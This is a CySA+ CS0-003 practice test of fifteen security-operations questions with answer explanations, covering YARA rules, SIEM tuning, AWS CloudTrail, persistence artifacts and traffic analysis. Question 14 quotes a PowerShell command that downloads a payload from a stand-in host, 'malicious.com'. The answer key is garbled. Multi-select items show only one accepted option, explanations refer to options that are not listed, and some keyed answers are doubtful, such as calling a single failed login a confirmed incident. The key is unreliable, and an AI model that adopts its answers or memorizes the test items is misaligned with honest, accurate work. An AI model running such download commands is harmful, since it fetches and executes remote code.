CS0-003 Security Operations Practice Test 3 — 15 Questions

Question 1

A YARA rule is created to detect a specific malware family. The rule uses the string "MZ" at offset 0 and the string "malware" somewhere in the file. The analyst finds that many legitimate executables trigger the rule. What is the most effective way to reduce false positives?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Add a condition to check for a specific file size range.. Adding conditions like file size or entry point constraints narrows the rule to specific malware characteristics, reducing false positives from benign files.

Answer

Increase the rule's priority to avoid scanning all files.

Answer

Use the "pe" module to check for a specific section name.

Answer

Remove the "MZ" condition since all PE files have it.

Question 2

An analyst is investigating a memory dump of a compromised system and finds a process that appears to be running inside another process's memory space, with no associated executable on disk. Which technique best describes this finding?

Accepted Answer

Reflective DLL injection. Reflective DLL injection loads a DLL into a target process entirely from memory without writing it to disk, so there is no associated executable on disk. Process hollowing uses a legitimate host process whose executable still exists on disk, so it does not match the finding as well.

Answer

Process hollowing

Answer

API hooking

Answer

DLL injection

Question 3

An analyst is tuning a SIEM rule that triggers on failed logins. Which TWO modifications would most effectively reduce false positives without missing actual brute-force attacks? (Select TWO.)

Accepted Answer

Add a condition that the source IP is external to the network.. Limiting to remote logins reduces false positives from local console failures. Adding a threshold (e.g., >5) ensures only excessive failures alert, reducing noise from single failures.

Answer

Remove the rule entirely because failed logins are common.

Answer

Exclude failed logins from known administrative accounts.

Answer

Increase the threshold to require at least 10 failed login attempts within 5 minutes.

Question 4

An analyst is reviewing cloud audit logs from AWS CloudTrail and notices an API call to create an IAM user with administrative privileges from an IP address outside the corporate network. Which TWO actions should the analyst take first? (Select TWO.)

Accepted Answer

Review CloudTrail logs for any other suspicious API calls.. Disabling the user prevents further actions while preserving the account for investigation. Reviewing CloudTrail logs helps identify the scope and source of the activity. Resetting the root user credentials is also critical because the suspicious API call may indicate root account compromise, and rotating root credentials prevents the attacker from maintaining administrative access.

Answer

Ignore the alert because CloudTrail logs are not reliable.

Answer

Contact the user's manager to verify if the creation was authorized.

Answer

Delete the newly created IAM user immediately.

Question 5

During a cloud security investigation, a security analyst notices unusual API calls from a compromised IAM user in AWS. The analyst wants to determine the scope of the breach and identify affected resources. Which TWO cloud-native services should the analyst use?

Accepted Answer

AWS CloudTrail. AWS CloudTrail (B) is correct because it records every API call made in the AWS account, including the identity of the caller, the source IP, the timestamp, and the affected resource, which lets the analyst trace exactly what the compromised IAM user did and which resources were touched. Amazon GuardDuty (E) is correct because it continuously analyzes CloudTrail management events, VPC Flow Logs, and DNS logs with threat intelligence and ML to surface findings such as anomalous API activity or credential compromise tied to that IAM user, helping scope the breach. AWS Shield (A) is a managed DDoS protection service for layer 3/4 attacks and does not provide API audit trails or breach-scoping data. AWS WAF (C) filters HTTP(S) web requests at layer 7 for CloudFront, ALB, or API Gateway and does not record IAM API activity. AWS Config (D) tracks resource configuration changes and compliance over time, but it is not the primary tool for auditing API call history or detecting anomalous credential usage.

Answer

AWS Shield

Answer

AWS WAF

Answer

AWS Config

Question 6

A threat hunter is reviewing endpoint telemetry and sees a process 'svchost.exe' spawning 'cmd.exe', which then executes 'reg.exe add' to create a Run key. The hunter suspects persistence. Which TWO artifacts should the hunter examine to confirm persistence?

Accepted Answer

Registry Run keys. Option A (Registry Run keys) is correct because the scenario explicitly shows reg.exe add creating a Run key, and Run keys under HKCU\Software\Microsoft\Windows\CurrentVersion\Run or HKLM\...\Run are a classic autostart persistence mechanism that the hunter should inspect to confirm the entry and its payload. Option D (Scheduled tasks) is correct because scheduled tasks are another primary persistence artifact, and a hunter confirming persistence should check Task Scheduler (e.g., schtasks /query or the Tasks folder in the registry) for malicious tasks created alongside or instead of Run keys. Option B (Windows Event Logs for service creation) is not the best fit here because the observed command was reg.exe add for a Run key, not sc.exe or service installation, so service-creation events (e.g., Event ID 7045) are not directly indicated. Option C (Browser history) is irrelevant to persistence, as it records web activity rather than autostart mechanisms. Option E (Network connections) could show C2 traffic but does not itself confirm persistence, since persistence is about surviving reboot via autostart artifacts.

Answer

Windows Event Logs for service creation

Answer

Browser history

Answer

Network connections

Question 7

A security analyst is investigating a potential data exfiltration incident. Network traffic analysis shows large outbound data transfers to an external IP address on port 443. The analyst wants to determine if the data was encrypted. Which THREE tools or techniques should the analyst use?

Accepted Answer

Wireshark. Wireshark and tcpdump can capture and inspect packets to analyze the TLS handshake and determine if the data is encrypted. NetFlow/IPFIX provides only flow-level metadata and cannot determine whether the payload is encrypted. Therefore, the correct tools are B and D.

Answer

OSINT tools

Answer

NetFlow/IPFIX

Answer

Vulnerability scanner

Question 8

A security analyst is creating a YARA rule to detect a specific malware strain that uses a unique string in its code section and has a characteristic import table. The analyst wants to minimize false positives. Which THREE YARA rule elements should the analyst include?

Accepted Answer

File size condition. Option A (File size condition) is correct because adding a filesize constraint (e.g., filesize < 500KB) narrows matches to samples within the known size range of the malware strain, eliminating unrelated files that happen to share the same strings and reducing false positives. Option B (PE import table condition) is correct because the scenario states the malware has a characteristic import table, so using the pe module's import-related fields (e.g., pe.imports("kernel32.dll", "VirtualAlloc")) anchors the rule to that distinctive structural trait, which is far more specific than strings alone. Option D (String condition containing the unique string) is correct because the unique code-section string is the primary detection indicator the analyst identified, and including it in the condition ensures the rule only fires on files containing that exact byte sequence. Option C (Hash condition) is not appropriate because a cryptographic hash (MD5/SHA-1/SHA-256) matches only one exact file, so it cannot generalize to the malware strain and is redundant with the other indicators. Option E (Module condition such as pe) is not a standalone detection element; the pe module must be imported and then used with specific fields like pe.imports or pe.sections, so simply referencing the module does not add a discriminating condition.

Answer

Hash condition

Answer

Module condition (e.g., pe)

Question 9

A threat hunter is using Velociraptor to search for signs of lateral movement across multiple endpoints. The hunter wants to identify instances where a user logged into multiple systems using the same credentials within a short time frame. Which THREE artifacts should the hunter collect from each endpoint?

Accepted Answer

Network connections (netstat). Option E (Security Event Logs for logon events) is correct because Windows Security logs record logon events such as 4624 (successful logon) with Logon Type 3 (network) or 10 (RemoteInteractive), which directly reveal a user authenticating to multiple endpoints and are essential for correlating credential reuse across systems. Option A (Network connections via netstat) is correct because active or recent TCP connections to SMB (445), RDP (3389), WinRM (5985/5986), or WMI (135) expose the lateral-movement channels a compromised account used to reach other hosts. Option B (Windows Event Logs for WMI activity) is correct because WMI is a common lateral-movement technique, and events in Microsoft-Windows-WMI-Activity/Operational (e.g., Event ID 5857/5860/5861) show remote WMI process creation and namespace access tied to the same credentials. Option C (file system for malicious executables) is not among the marked answers because hunting for dropped binaries does not establish that a single user logged into multiple systems with the same credentials in a short window. Option D (registry hives for persistence) is likewise not marked, since persistence artifacts do not evidence the multi-host, short-timeframe credential reuse pattern the hunter is targeting.

Answer

File system for malicious executables

Answer

Registry hives for persistence

Question 10

A security analyst is analyzing a PCAP file from a network incident and notices a series of TCP connections with unusual flag combinations. Specifically, the SYN flag is set but the ACK flag is not set in the response, and the sequence numbers are not incrementing properly. The analyst suspects a TCP handshake manipulation. Which THREE TCP anomalies should the analyst document?

Accepted Answer

Sequence numbers that are out of order. Out-of-order or inconsistent sequence numbers, SYN-ACK packets that arrive without a preceding SYN, and a high volume of SYN packets to multiple ports are all anomalies that may indicate TCP handshake manipulation, such as SYN floods or TCP hijacking.

Answer

FIN packets with no prior data transfer

Answer

RST packets with the ACK flag set

Question 11

A security analyst is investigating a possible compromise of a web server. The analyst runs `netstat -anob` on the Windows server and observes that the process `w3wp.exe` has an established outbound connection to an external IP address on port 4444. The analyst needs to determine whether this connection is malicious. Which of the following actions should the analyst take NEXT to best determine the nature of the connection?

Accepted Answer

Check the reputation of the external IP address using threat intelligence feeds.. The presence of an outbound connection from w3wp.exe to an external IP on port 4444 is suspicious, as this port is commonly used by malware for command-and-control. However, w3wp.exe is a legitimate process, so the connection could be benign. The fastest way to assess the threat is to check the external IP's reputation using threat intelligence, which can quickly indicate if it is associated with malicious activity. This allows the analyst to make an informed decision on next steps, such as isolating the server or capturing traffic.

Answer

Review the IIS logs to determine which web request initiated the connection.

Answer

Immediately terminate the w3wp.exe process to stop any potential malicious activity.

Answer

Capture network traffic to the external IP address to analyze the payload for malicious content.

Question 12

A security analyst is reviewing a SIEM alert that triggered on a single failed login attempt from an internal IP address to a domain controller at 3:00 AM. The user associated with the account is on vacation. Which classification best describes this alert?

Accepted Answer

True positive. The alert is triggered by a real failed login attempt from an internal IP, but the user is on vacation, so it likely indicates a malicious attempt. Since it is a confirmed security incident, it is a true positive.

Answer

False positive

Answer

False negative

Answer

True negative

Question 13

During a traffic analysis, a security analyst observes repeated outbound connections from an internal workstation to an external IP address on TCP port 53 at irregular intervals. The connections are small and occur every few minutes. Which technique is most likely being used?

Accepted Answer

DNS tunneling. DNS normally uses UDP, but TCP port 53 can be used for DNS tunneling. The small, irregular connections to a single external IP suggest data exfiltration via DNS tunneling.

Answer

HTTP smuggling

Answer

TCP handshake anomaly

Answer

Beaconing

Question 14

An analyst is investigating an EDR alert showing that 'powershell.exe' was launched by 'winword.exe' with the command: 'powershell -Command Invoke-WebRequest -Uri http://malicious.com/payload.ps1 -OutFile C:\Users\Public\payload.ps1'. Which LOLBin technique is being observed?

Accepted Answer

PowerShell download cradle. The attack chain involves a Microsoft Office document (winword.exe) launching PowerShell to download a payload. This is a classic LOLBin technique using PowerShell for code execution and download cradles.

Answer

WMI persistence

Answer

Scheduled task creation

Answer

DLL side-loading

Question 15

A vulnerability scan report shows a critical vulnerability with a CVSS score of 9.8 on an internal web server. The server is not internet-facing and is protected by a compensating control: a web application firewall (WAF) that blocks the attack vector. What should the analyst recommend?

Accepted Answer

Document the compensating control and reduce the risk rating. The vulnerability has a high CVSS score, but the compensating control (WAF) reduces the risk. The analyst should document the control and adjust the risk rating rather than patching immediately if patching would cause downtime.

Answer

Schedule an immediate emergency patch

Answer

Remove the WAF to ensure the vulnerability is addressed

Answer

Ignore the finding because it is a false positive